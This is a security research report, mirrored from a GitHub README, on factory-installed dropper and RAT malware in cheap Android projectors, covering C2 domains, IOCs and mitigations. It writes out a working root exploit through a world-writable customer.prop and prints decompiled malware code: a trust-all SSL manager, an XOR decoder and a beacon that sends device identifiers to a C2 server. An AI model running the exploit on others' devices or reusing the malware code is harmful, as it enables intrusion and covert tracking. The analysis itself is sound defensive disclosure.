Android-Projector-C2-Malware

KO | EN

gitlite — search

#python #java #python3 #arduino #golang #machine-learning #rust #html #flask #javascript #seismology #nodejs

Android-Projector-C2-Malware

★ 18 Open GitHub ↗

Breakdown of a c2-network of chinese beamers - SilentSDK-Analysis

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# Pre-installed C2 Infrastructure and RAT Payload on Android Projectors

**Technical Analysis Report — Security Research**

---

**Affected Devices:** Multiple Android projectors of beamer brands like the Nonete (e.g., Model HY260Pro) (likely also several projectors from Magcubic, Hotack, Huyukang and many more, as these companies distribute similar models and there are indications supporting this)  
**Chipset Platform:** Allwinner H713 / sun50iw12p1 — potentially affects all devices on this platform  
**Analysis Period:** April 11–17, 2026  
**Classification:** Pre-installed Command-and-Control infrastructure with Remote Access Trojan payload

---

## TL;DR

- **The Problem:** Numerous cheap Android projectors (potentially brands like Magcubic, Hotack, etc., utilizing the Allwinner H713 chip), currently sold in massive quantities on Amazon, eBay, and AliExpress, are **infected with malware straight from the factory** (Supply Chain Attack, similar to the "BADBOX" cases).     
- **The Mechanism:** A seemingly harmless system app ("StoreOS") acts as a disguised **dropper**. It completely silently downloads a Stage-2-Dropper named "SilentSDK" in the background and installs it with maximum system privileges, which in turn installs a modular, plugin-based, architechture aware RAT & possibly phishing framework.
- **The Danger:** The malware establishes a C2 connection to China (`api.pixelpioneerss.com`), extracts sensitive device IDs, and can **download and execute arbitrary additional malicious code with root privileges at any time** (`chmod 777`). Additionally, the devices feature open root backdoors.
- **Immediate Mitigation:** The C2 domains (especially `*.aodintech.com`, `api.pixelpioneerss.com`, `sta.smartinnovate.net`) must be blocked at the network level. Affected users can only disable the malicious apps manually via ADB, as they are deeply embedded in the system.

## Urgency Notice

The malware infrastructure documented in this report is pre-installed on Android projectors currently being sold in large quantities to end consumers on Amazon, eBay, and AliExpress. The affected devices span possibly multiple brand names (Hotack, Huyukang, Magcubic, Nonete, among others). Identical C2 infrastructure has been independently confirmed on other devices from the same manufacturer (see Section 13).
The pattern matches the BADBOX cases.

---

## Table of Contents

1. Device Identification
2. Investigation Workflow
3. Root Access — Exploit Path
4. C2 Server Response — Core Evidence
5. Malware Ecosystem Overview
6. StoreOS — Dropper Analysis (com.htc.storeos)
7. EventUploadService — Telemetry (com.htc.eventuploadservice)
8. ExpandSDK — Ad-Injection (com.htc.expandsdk)
9. SilentSDK — Stage-2-Dropper Analysis (com.hotack.silentsdk)
10. The Malware
11. System Backdoors
12. Network Forensics
13. Device Spoofing (Build-Fingerprint Spoofing)
14. External Confirmation
15. Indicators of Compromise (IOCs)
16. MITRE ATT&CK Mapping
17. Immediate Mitigations
18. Sources

---

**Purchased Device:** [Amazon Link - Nonete Mini Beamer 4K 1080P](https://www.amazon.com/-/de/dp/B0DYXQN9S8/ref=sr_1_3)

---

## 1. Device Identification

| Property | Value |
|:---|:---|
| Brand Name | Nonete HY260Pro (model sold by multiple companies) |
| Internal Model Name | NT10 |
| SoC | Allwinner sun50iw12p1 (ARM 32-bit) |
| Operating System | SpectraOS (Android 11, Kernel 5.4.99) |
| Real Build Fingerprint | Allwinner/h713_tuna_p3/h713-tuna_p3:11 |
| Spoofed Build Fingerprint | ADT-3/adt3/adt3:11/RP1A.201005.006 |
| SELinux | Permissive (no enforcement) |
| Platform Signing Key | Public AOSP Test Key |
| OEM Certificate | CN=蓝鲨, OU=www.bsh.me, C=CN |
| Firmware Channel | HY260Pro_SpectraOS_TPYB |

**Note on scope:** The Allwinner H713 chipset is built into numerous cheap Android projectors sold under changing brand names in the European market. The identical firmware base (`h713_tuna_p3`) and identical C2 operator (Shenzhen Aodin Technology) strongly suggest that all devices from this OEM contain the same infrastructure.

---

## 2. Investigation Workflow

| Step | Action | Result |
|:---|:---|:---|
| 1 | Wireshark capture of network traffic | HTTP traffic to `store-api.aodintech.com` |
| 2 | Decoding of the gzip-compressed C2 response | 7 apps, including hidden "SilentTools" |
| 3 | AES-CBC decryption of the download path | Key `[REDACTED]`, URL to `.bpp` file |
| 4 | Root exploit via `/oem/customer.prop` | `uid=0(root)` after property injection |
| 5 | Forensic dump of `/data`, `/oem`, `/system` | APKs, databases, configurations |
| 6 | Static analysis of StoreOS DEX | `pm install -r -d`, byte-reversal protection |
| 7 | Reverse engineering the `reverseLen` mechanism | Understanding of the anti-analysis protection |
| 8 | Breaking the byte-reversal protection | Decrypted, analyzable SilentSDK DEX |
| 9 | XOR decryption of SilentSDK strings | C2 domain `api.pixelpioneerss.com` confirmed |
| 10 | Hash verification across three sources | MD5/SHA-256 match perfectly |
| 11 | Reverse engineering the malware download process | Servers still online |
| 12 | Reverse engineering the malware | Plugin-based Rat Framework |

---

## 3. Root Access — Exploit Path

Root access was achieved through a combination of three vulnerabilities:

1. **SELinux Permissive** — Access violations are only logged, not blocked.
2. **World-writable `/oem`** — The partition is mounted as FAT with `fmask=0000`.
3. **`customer.prop` loaded at boot** — Overwrites system properties.

```bash
adb shell getenforce                  # Result: Permissive
adb shell ls -la /oem/                # All files world-writable

adb shell 'echo "ro.debuggable=1"     >> /oem/customer.prop'
adb shell 'echo "service.adb.root=1"  >> /oem/customer.prop'
adb shell 'echo "ro.secure=0"         >> /oem/customer.prop'

adb reboot && adb wait-for-device && adb root
adb shell id
# uid=0(root) gid=0(root) context=u:r:su:s0
```

**Impact:** Any user with physical access or an attacker on the same network (via ADB, port 5555 open, no authentication) gains full root access.

---

## 4. C2 Server Response — Core Evidence

### Captured HTTP Request

```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12
```

### Server Response (Decoded from pcapng - Table)

The gzip-compressed response contains a JSON list with seven apps. Six of them are regular streaming apps (YouTube, Netflix, Disney+, Prime Video, Chrome, BrowseHere). The seventh is SilentTools:

| App | Package | isShow | isForce | isSilent Install | isSilent Uninstall | launch Type |
|:---|:---|:---|:---|:---|:---|:---|
| YouTube | `com.google.android.youtube.tv` | true | false | false | false | 0 |
| Disney+ | `com.disney.disneyplus` | true | false | false | false | 0 |
| Netflix | `com.netflix.mediaclient` | true | false | false | false | 0 |
| Chrome | `com.android.chrome` | true | false | false | false | 0 |
| Prime Video | `com.amazon.amazonvideo.livingroom` | true | false | false | false | 0 |
| BrowseHere | `com.tcl.browser` | true | false | false | false | 0 |
| **SilentTools** | **`com.hotack.silentsdk`** | **false** | **true** | **false** | **true** | **1** |

### SilentTools Configuration in Detail

```json
{
  "name": "SilentTools",
  "pkg": "com.hotack.silentsdk",
  "desc": "Special app",
  "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png",
  "category": "htc",
  "zone": "Global",
  "developer": "htc",
  "isForce": true,
  "verCode": 4,
  "verName": "2509041614",
  "verDesc": "SilentSDK",
  "installType": 0,
  "appType": "apk",
  "reverseLen": 63995,
  "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==",
  "size": 2474873,
  "md5": "5df097591d6942bae4eff33a37c4e28f",
  "upDate": "2025-09-04",
  "isShow": false,
  "isSilentInstall": false,
  "isSilentUninstall": true,
  "isBootStartup": false,
  "launchType": 1,
  "launchParam": "com.hotack.silentsdk.MyService"
}
```

**Interpretation of the flags:**

- `isShow: false` — The app does not appear in the store interface.
- `isForce: true` — Presumably forces the action (installation or update).
- `isSilentUninstall: true` — Can uninstall itself without user interaction.
- `launchType: 1` — Automatically starts the background service.
- `launchParam: MyService` — Reference to the persistent service.
- `zone: "Global"` — Targets all devices worldwide.
- `reverseLen` — Byte length needed to restore the SilentSDK `.apk`.

### Encrypted Download Path

The `path` field is AES-CBC encrypted:

- **Key/IV:** `[REDACTED]` (AES-CBC, Raw) -> The ChannelID of the device.
- **Decrypted result:**

```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp
```

**Note:** The file extension `.bpp is likely employed to bypass firewalls, with the file being renamed to an `.apk` during execution. The field `isSilentInstall` is `false` in this capture. The exact semantics of `isForce: true` could not be unambiguously reconstructed from the decompiled code. It cannot be ruled out that the value is dynamically set to `true` server-side.

---

## 5. Malware Ecosystem Overview

The device contains four interacting system apps, all signed with the AOSP test key and running with UID 1000 (System):

```text
                        ┌──────────────┐
                        │  DEVICE BOOT │
                        └──────┬───────┘
              ┌────────────────┼────────────────┐
              ▼                ▼                ▼
       ┌─────────────┐  ┌─────────────┐  ┌──────────────┐
       │   StoreOS   │  │  SilentSDK  │  │  EventUpload │
       │   DROPPER   │  │     RAT     │  │  HEARTBEAT   │
       └──────┬──────┘  └──────┬──────┘  └──────┬───────┘
              ▼                ▼                ▼
         store-api.        api.pixel         event-api.
        aodintech.com    pioneerss.com     aodintech.com

+ ExpandSDK (Ad-Injection)
         → pb-api.aodintech.com
```

---

## 6. StoreOS — Dropper Analysis

StoreOS appears to be an app store that is automatically installed; however, it fulfills the function of a dropper.  
**Package:** `com.htc.storeos`  
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`  
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`

### Permissions

| Permission | Impact |
|:---|:---|
| `INSTALL_PACKAGES` | Silent installation without user dialog |
| `CLEAR_APP_USER_DATA` | Deletion of arbitrary app data |
| `MASTER_CLEAR` | Triggering factory reset |
| `WRITE_SECURE_SETTINGS` | Modifying security settings |
| `DEVICE_POWER` | Device power management |
| `MANAGE_EXTERNAL_STORAGE` | Full access to external storage |

### Installation Chain (from decompiled code)

1. **BootReceiver** starts `CheckUpdateService`.
2. HTTP POST to `store-api.aodintech.com/sign/app/list`.
3. Server delivers `AppsData[]` containing fields: `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5`.
4. `DownloadService` fetches APKs as `.bpp` files from the CDN.
5. **Byte-Reversal Protection:** The first `reverseLen` bytes are reversed before writing to disk (Anti-Analysis Measure).
6. MD5 verification of the downloaded file.
7. Installation via `Runtime.getRuntime().exec("pm install -r " + filePath)`.
8. `StartAppService` launches the installed app according to `launchParam`.

### Byte-Reversal Mechanism — Technical Proof

**Class:** `AbstractC2057b` — **Method:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX

This method reverses the first `reverseLen` bytes of every downloaded APK. As a result, intercepted `.bpp` files cannot be recognized or extracted as valid APKs without knowing the specific `reverseLen` value.

```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
    reverseLen = fileSize;
    offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
    byte tmp = buffer[head];
    buffer[head] = buffer[tail];
    buffer[tail] = tmp;
    head++; tail--;
}
// 3. Copy the remaining bytes unchanged
```

**Invocation in the download path** (Class `RunnableC1595d`, case 0):

```java
if (downInfo.getReverseLen() != 0) {
    String outputPath = inputPath.replace(".apk", "des.apk");
    if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) {
        // Error handling
        return;
    }
    downInfo.setFileSavePath(outputPath);
}
// Followed by MD5 verification and installation
```

By reversing this mechanism, the SilentSDK APK was successfully decoded and analyzed.

### Geo-Targeting

StoreOS utilizes `api.ipdatacloud.com/v2/query` for IP geolocation. The `SpecialApps` class contains fields for `continent` and `countryCode`, allowing for region-specific payload distribution.

---

## 7. EventUploadService — Telemetry

**Package:** `com.htc.eventuploadservice`  
**Target:** `http://event-api.aodintech.com/report`  
**Interval:** Every 5 minutes

| Field | Example Value | Privacy Impact |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | MAC Address (PII) |
| `deviceSn` | `[REDACTED]` | Serial Number (Unique) |
| `channel` | `HY260Pro_hy_TPYB` | Firmware Channel |
| `version` | `Projector.20250422.152235` | Firmware Version |
| `model` | `NT10` | Device Model |
| `language` | `en_US` | Language Setting |

Transmission occurs unencrypted via HTTP and without user consent. The MAC address and serial number allow for the precise identification and tracking of individual devices.

---

## 8. ExpandSDK — Ad-Injection

**Package:** `com.htc.expandsdk`  
**C2 Servers:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`

ExpandSDK utilizes the TCL VastAd SDK for VAST video advertisements and is capable of rendering system overlay dialogs (`SYSTEM_ALERT_WINDOW`) at any screen position. The configuration includes position fields (`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`) and the partner identifier `htk` (Hotack).

ExpandSDK operates independently from SilentSDK as a separate monetization channel.

---

## 9. SilentSDK — RAT Analysis

**Package:** `com.hotack.silentsdk`  
**SHA-256 (decoded):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`  
**MD5 (decoded):** `5df097591d6942bae4eff33a37c4e28f`

### Manifest Analysis

### DEX Packing and Decryption

The original DEX is packed: The header declares 2,318,316 bytes, but the compressed file only contains 65,536 bytes with an invalid Adler32 checksum. After breaking the StoreOS byte-reversal protection, the DEX becomes fully readable — the file size and declared size match, and 16,241 strings are extractable.

### XOR Obfuscation — Technical Proof

All security-relevant strings are obfuscated using a rotating XOR cipher within the method `AbstractC0000a.m36g()`:

```java
public static String m36g(byte[] data, byte[] key) {
    int i3 = 0, i4 = 0;
    while (i3 < data.length) {
        if (i4 >= key.length) i4 = 0;
        data[i3] = (byte) (data[i3] ^ key[i4]);
        i3++; i4++;
    }
    return new String(data);
}
```

### Decrypted Strings

| Obfuscated Call | Result | Function |
|:---|:---|:---|
| `m36g({-99,127,58,-103,...}, {-4,15,83,-73,...})` | `api.pixelpioneerss.com` | C2 Domain |
| `m36g({7,-68}, {116,-44,...})` | `sh` | Shell binary for `Runtime.exec()` |
| `m36g({-83,-92,-19,...}, {-50,-52,...})` | `chmod 777` | Shell Command |
| `m36g({-47,-3,-68,106,-76}, {-1,-119,...})` | `.temp` | Temp file suffix for downloads |
| `m36g({125,61,58,...}, {21,73,78,...})` | `https://` | Primary Protocol |
| `m36g({0,90,58,...}, {104,46,78,...})` | `http://` | Fallback on SSL error |
| `m36g({-22,78,57}, {-71,29,117,...})` | `SSL` | TLS Protocol |
| `m36g({-15}, {-112,...})` | `a` | **Custom header name → value `1003`** |
| `m36g({17,67,42}, {124,39,...})` | `md5` | `MessageDigest.getInstance("md5")` |
| `m36g({-15,90,-128,21}, {-122,51,...})` | `wifi` | `getSystemService("wifi")` |
| `m36g({-48,89,-25,-31,...}, {-73,60,...})` | `getprop wifi.interface` | Shell fallback: read interface name |
| `m36g({-95,-26,-107,-91,...}, {-62,-121,...})` | `cat /sys/class/net/` | Shell fallback: read MAC (prefix) |
| `m36g({6,-88,45,-126,...}, {41,-55,...})` | `/address` | Shell fallback: read MAC (suffix) |
| `m36g({10,39,105,25,...}, {58,21,...})` | `02:00:00:00:00:00` | Android fake-MAC sentinel (API 23+) |

This represents only a portion of the decrypted strings.
The MAC harvesting flow reveals a deliberate permission bypass: when `WifiInfo.getMacAddress()` returns Android's privacy-protected fake MAC (`02:00:00:00:00:00`), the malware falls back to reading the real hardware MAC directly from `/sys/class/net/wlan0/address` via root shell — behavior never seen in legitimate apps.

### Infection Lifecycle — Phase-by-Phase
 
The following analysis traces the complete execution chain from app startup to persistent C2 control. Class names reference JADX-deobfuscated identifiers.

#### Phase 1: Initialization and Anchoring
 
**`MyApplication.java` — Entry Point**
 
The `Application.onCreate()` override is the first code to execute. It immediately calls `C0561f.m1737c` with the `ApplicationContext`, bootstrapping the entire malware machinery before any UI is rendered.
 
**`AbstractC0577v.java` — Context**
 
If the host app does not voluntarily provide its context, this class uses deep system reflection (`android.app.ActivityThread`) to autonomously steal the global `ApplicationContext`. This grants the SDK full access to files, system services, and package management without depending on the host application.
 
**`C0578w.java` — Activity Lifecycle Observer**
 
Registers as `ActivityLifecycleCallbacks` to monitor every user interaction: which screen is open, whether the app is in the foreground or background. Critically, it re-enables disabled system animations and manipulates `SoftInputMode` settings — prerequisites for rendering invisible overlays (e.g., for click fraud) without alerting the user through unexpected keyboard pop-ups.

#### Phase 2: Fingerprinting and Stealth
 
**`AbstractC0562g.java` — Bot-ID Generation**
 
Generates an aggressive device fingerprint by concatenating: random UUID + `Build.BRAND` + `Build.MODEL` + physical MAC address (harvested via `cat /sys/class/net/wlan0/address`, bypassing Android's privacy protections) + `android_id` + timestamp. The resulting string is MD5-hashed and stored as `adid` — the permanent Bot-ID used to register the device with the C2 server.
 
**`C0565j.java` — SSL Certificate Bypass**
 
A manipulated `X509TrustManager` with completely empty validation methods (`checkClientTrusted`, `checkServerTrusted`). This ensures the malware blindly accepts any SSL certificate, preventing Android's security mechanisms from blocking C2 communication — even if the C2 server is compromised or uses an invalid certificate.

```java
// From AbstractC0000a.m41j() — TrustManager accepts ALL certificates
TrustManager[] trustManagerArr = {new C0565j()};
SSLContext sslContext = SSLContext.getInstance("SSL");
sslContext.init(null, trustManagerArr, new SecureRandom());
((HttpsURLConnection) conn).setSSLSocketFactory(
    sslContext.getSocketFactory()
);
```

If an SSL error (`SSLException`) occurs, `f2664e` is set to `false` and all subsequent requests utilize HTTP instead of HTTPS.

#### Phase 3: Payload Acquisition
 
**`C0566k.java` — Offline Fallback (Embedded Payload)**
 
Before contacting the network, this class checks whether a payload is already bundled inside the APK at `assets/m17gawxG.java`. If found, it reads the file byte-by-byte and decrypts it using a hardcoded XOR key (`m17gawxG`). The result is written as an executable `.temp` file. This ensures the RAT can activate even on air-gapped devices or when the C2 server is unreachable.
 
**`RunnableC0569n.java` — Live C2 Downloader**
 
If the offline fallback fails, this class assembles a JSON beacon containing the Bot-ID, package name, and Android version, then contacts the C2 endpoint `api.pixelpioneerss.com`:
 
**Step 1 — URL Generation with Random Path:**
 
```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s
```
 
**Step 2 — Beacon Payload:**
 
```java
JSONObject beacon = new JSONObject();
beacon.put("a", getDeviceFingerprint(context)); // Bot-ID (adid)
beacon.put("b", appKey);                        // Campaign Key
beacon.put("c", context.getPackageName());       // com.hotack.silentsdk
beacon.put("d", currentVersion);                 // Payload Version
beacon.put("f", Build.FINGERPRINT);              // Build Fingerprint
beacon.put("h", Build.VERSION.SDK_INT);          // SDK Version
```
 
**Step 3 — AES Encryption and Transmission:**
 
```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message
```
 
**Step 4 — Processing Server Response:**
 
```java
JSONObject data = new JSONObject(response).getJSONObject("data");
String downloadUrl = data.getString("a");  // DEX Download URL
String md5Hash    = data.getString("b");   // MD5 for verification
int    version    = data.getInt("c");      // Version number
// → m1762a() downloads DEX, verifies Hash, executes
```
 
The downloader (`AbstractC0000a.m37h`) fetches the payload and then uses a root shell to grant it full execution permissions via `chmod 777`.
 
All C2 requests carry the custom HTTP header `a: 1003` — a network-level signature of this malware family.

#### Phase 4: Execution and Control
 
**`AbstractC0568m.java` — Staging Area**
 
Creates a covert directory named **`TMRXwWJu3G5`** on the device's filesystem where all downloaded payloads are staged. This class also contains methods (`m1754e`) that intercept physical key events (`KeyEvent`), preventing the user from pressing the "Back" button while a malicious overlay is active.
 
**`C0561f.java` — The Orchestrator**
 
Ties the entire chain together. It calls the heavily obfuscated code in `C0566k.m1746b`, which uses reflection to construct the string `"dalvik.system.DexClassLoader"` and initialize it. The ClassLoader is then forced to load and execute the final payload class:
 
```
com.me.cash5.OoO0OOo
```
 
From this point onward, the dynamically loaded payload has full control within the app's process context (UID 1000 / System).
 
#### Phase 5: Telemetry, Exfiltration, and Persistence
 
**`AbstractC0563h.java` & `C0558c.java` — Telemetry Collection**
 
Every module load, error event (e.g., download failure), or overlay display triggers a status report (coded as `"e6"`, `"e4"` for SSL errors, etc.). `C0558c` runs a dedicated collection thread (`"burying_loop_s"`) that aggregates these events. Every 5 seconds, it assembles a comprehensive JSON telemetry packet with fields like `"d"` (device model), `"e"` (SDK version), `"c"` (Android ID).
 
**`RunnableC0564i.java` — Data Exfiltrator**
 
Takes the telemetry JSON, compresses it with `GZIPOutputStream` (to hinder traffic analysis), then encrypts it with custom AES — appending the dynamic keys to the ciphertext. The resulting GZIP-AES packet is transmitted via the SSL-bypassing TrustManager to a dedicated tracking server:
 
```
bur.thedynamicleap.com
```
 
This is a **separate C2 domain** from the primary `api.pixelpioneerss.com`, used exclusively for telemetry exfiltration.
 
**`AbstractC0572q.java` & `RunnableC0560e.java` — Heartbeat and Self-Healing**
 
The persistence mechanism. `AbstractC0572q` maintains a timer on the main thread. If any part of the infection chain fails (e.g., no internet during download), it fires `sendEmptyMessageDelayed(..., 60000L)`. After exactly 60 seconds, `RunnableC0560e` (as a background worker) restarts the entire infection machinery from the beginning. This loop repeats indefinitely until the infection succeeds.
 
### Persistence and Dynamic Loading — Summary
 
The method `m1762a()` in `RunnableC0569n` implements the complete payload download cycle:
 
1. Download DEX file from C2.
2. Verify MD5 Hash.
3. Save version number in SharedPreferences.
4. Load and execute DEX via `DexClassLoader` or `Runtime.exec()`.
5. Upon errors: Increment retry counter in SharedPreferences, pause after 13 failed attempts — then the 60-second heartbeat restarts the cycle.

## 9.1. The Malware Payload

After sending this request to the C2 Server:

```json
{
    "a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
    "b":"f101", //CampaignID injected in MyApplication.java
    "c":"com.hotack.silentsdk", //Package name
    "d":0, 
    "f":"c0:3a:4b:11:22:33", // Device MAC address
    "h":30, //Version
}
```

**Response:**

```json
{
    "code":"0000",
    "data":{
        "a":"https://sta.smartinnovate.net/sdkfile/uploadfile/[FILE].jar?t=[TIMESTAMP]]&r=[STRING]&s=[STRING]",
        "b":"53e49c7bf3e93b57f8cbfc7fb9a65126",
        "c":6037,
        "d":3600000,
        "e":"103.124.165.222",
        "f":"India/Karnataka/Bengaluru",
        "g":false,
        "h":"",
        "i":""
    },
    "time":"1776365262249",
    "message":""
}
```

---
## 10. The Malware

Following the successful retrieval and further analysis of the payload, I determined—after bypassing significant layers of custom encryption and obfuscation—that the malware utilizes a highly modular architecture. It operates as a sophisticated framework capable of dynamically downloading, updating, restarting, and actively deleting plugins to destroy forensic evidence. These payloads are executed with root privileges. Furthermore, the code reveals mechanisms designed to overlay full WebViews onto the screen, strongly indicating advanced phishing capabilities. The malware also demonstrates advanced targeting and evasion tactics: it implements strict geofencing to strike specific regions, profiles the CPU architecture (distinguishing between `arm64`, `armeabi`, `x86`, and `mips`), and actively bypasses SSL certificate validation to secure its C2 communications. I am keeping this summary intentionally brief for now, as the heavy obfuscation necessitates a protracted and ongoing reverse-engineering process.

## 11. System Backdoors

### 11.1 Hidden `su` Binary: `/system/bin/qw`

An `su` binary renamed as `qw` (Koushikdutta Superuser, 388 KB, statically linked, ARM 32-bit):

```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
    user root
    group root
    class core
```

- Process: PID 2409, UID 0 (root)
- Socket: `/dev/com.koushikdutta.superuser.daemon/server` (srwxrwxrwx)
- TCP Port: 65528 (UID 0)

### 11.2 AOSP Test Key as Platform Signing Key

The platform signing certificate is the test key publicly included in the AOSP source code (Cert Index 0 in `packages.xml`). Any app signed with this key automatically receives system privileges on the device. The key is freely accessible to any Android developer.

### 11.3 Additional Open Services

| Port | UID | Description |
| :--- | :--- | :--- |
| 65528 | root (0) | `su` Daemon |
| 5555 | root (0) | ADB without authentication |
| 7889/7890 | system (1000) | Unknown service |
| 10012/10013 | system (1000) | Factory Debug? |

### 10.4 `dbgserver`

`/vendor/bin/dbgserver` — Hardware register I/O server, communicating via the world-writable device `/dev/hidtvreg` (crwxrwxrwx).

---

## 12. Network Forensics

All C2 communication takes place over unencrypted HTTP. This enables MITM (Man-In-The-Middle) attacks: an attacker on the same network can manipulate the app list and inject arbitrary APKs, which will then be installed with system privileges.

| Server | Endpoint | Function |
|:---|:---|:---|
| `store-api.aodintech.com` | `POST /sign/app/list` | App Distribution |
| `sta.smartinnovate.net` | `GET /*.jar` | Payload Distribution |
| `cdn-store.aodintech.com` | `GET /*.bpp` | APK Download |
| `event-api.aodintech.com` | `POST /report` | Telemetry |
| `api.pixelpioneerss.com` | `POST /(random)` | SilentSDK RAT C2 |
| `bur.thedynamicleap.com` | `POST (GZIP+AES)`` | SilentSDK Telemetry Exfiltration |
| `pb-api.aodintech.com` | `GET /api/collections/...` | Ad Configuration |
| `ota.triplesai.com:8080` | `POST /V1/Ota/Check` | Firmware Updates |
| `api.ipdatacloud.com` | `GET /v2/query` | IP Geolocation |
| `euads-o.api.leiniao.com` | — | Secondary Ad Server |
| `connect.rom.miui.com` | — | Xiaomi Telemetry |

---

## 13. Device Spoofing

The device disguises itself as Google's ADT-3 (Android TV Developer Kit):

| Property | Spoofed Value | Real Value |
|:---|:---|:---|
| `ro.build.fingerprint` | `ADT-3/adt3/adt3:11` | — |
| `ro.product.build.*` | — | `Allwinner/h713_tuna_p3` |
| Build Date | — | Tue Apr 22 15:20 CST 2025 |

This spoofing is presumably intended to bypass Google Play certification checks.

---

## 14. External Confirmation

### Independent Analysis

In January 2026, security researcher Zane St. John published an analysis of identical devices harboring the exact same malware infrastructure. The findings match in all crucial points: C2 endpoints, XOR obfuscation, AES-128-CBC protocol, Campaign ID `f101`, SSL bypass, and `chmod 777`. The device analyzed by Zane St. John appears to have already been infected by SilentSDK, which was not the case on my device out-of-the-box. The endpoints in Zane St. John's analysis also appear slightly altered, indicating the possibility of endpoint rotation. Additionally, the SilentSDK appears to be pre-installed in his case, whereas on my device it appears to be downloaded and installed once `aodintech` sends the trigger signal.

**Source:** https://zanestjohn.com/blog/reing-with-claude-code

### Hash Verification Across Three Independent Sources

| Source | MD5 | SHA-256 |
| :--- | :--- | :--- |
| C2 Server Response | `5df097591d694...` | — |
| Our Decoded APK | `5df097591d694...` | `e5a193c31526a...` |
| External Analysis | — | `e5a193c31526a...` |

The hashes from the C2 server distribution, our own decryption, and the external analysis are identical — confirming that it is the exact same malware.
**This confirms the wide dissemination of the malware.**

### VirusTotal

StoreOS-APK: BitDefender detects `Android.Riskware.TestKey.rB`; no other anti-virus engines trigger an alert.

---

## 15. Indicators of Compromise (IOCs)

### Domains

```text
api.pixelpioneerss.com          # SilentSDK RAT C2
bur.thedynamicleap.com          # SilentSDK Telemetry Exfiltration
sta.smartinnovate.net           # Payload Distribution
store-api.aodintech.com         # StoreOS App Distribution
cdn-store.aodintech.com         # APK Download CDN
event-api.aodintech.com         # Telemetry Exfiltration
pb-api.aodintech.com            # ExpandSDK Ad Injection
ota.triplesai.com               # OTA Updates
api.ipdatacloud.com             # IP Geolocation
euads-o.api.leiniao.com         # Secondary Ad Server
```

### Network Signatures

```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003            # SilentSDK Signature
POST /sign/app/list             # StoreOS C2 Beacon
POST /report                    # EventUpload Telemetry
```

### Packages and Hashes

```text
com.hotack.silentsdk   SHA-256: e5a193c31526a2194d04a2...
com.htc.storeos        SHA-256: 3476536a5c722b9e34c53a...
com.htc.eventuploadservice
com.htc.expandsdk
```

### File System

```text
/system/bin/qw                                   # su Binary
/dev/com.koushikdutta.superuser.daemon/server    # su Socket
/oem/customer.prop                               # World-writable
/vendor/bin/dbgserver                             # HW-Debug
/dev/hidtvreg                                    # World-writable
```

### SilentSDK-Specific Artifacts
 
```text
assets/m17gawxG.java                             # Embedded fallback payload (XOR key: "m17gawxG")
TMRXwWJu3G5/                                    # Covert staging directory for downloaded payloads
com.me.cash5.OoO0OOo                            # Final dynamically-loaded payload class
dalvik.system.DexClassLoader                     # Reflectively constructed to load payload
```

---

## 16. MITRE ATT&CK Mapping

| Technique | ID | Proof |
|:---|:---|:---|
| Supply Chain Compromise | T1195.002 | Malware factory pre-installed |
| Boot or Logon Autostart Execution | T1547 | BootReceiver Priority 999 |
| Obfuscated Files or Information | T1027 | XOR Strings, DEX Packing, embedded XOR-encrypted asset |
| Application Layer Protocol | T1071 | HTTP/HTTPS C2 |
| Dynamic Data Exchange / Payload Injection | T1055 | DexClassLoader, chmod 777 |
| System Information Discovery | T1082 | Device Fingerprinting, Bot-ID generation |
| Data from Local System | T1005 | MAC, Serial, IMEI, android_id |
| Exfiltration Over C2 Channel | T1041 | Periodic Telemetry to `bur.thedynamicleap.com` |
| Masquerading | T1036 | .bpp file extension, ADT-3 Spoofing |
| Rootkit | T1014 | Hidden su Binary |
| Input Capture | T1056 | KeyEvent interception to suppress Back button |
| Indicator Removal / Self-Deletion | T1070 | `isSilentUninstall: true` capability |
| Reflective Code Loading | T1620 | Reflective DexClassLoader instantiation |
| System Window Overlay | T1624 | SoftInputMode manipulation for invisible overlays |

---

## 17. Immediate Mitigations

### For Affected End Users

```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
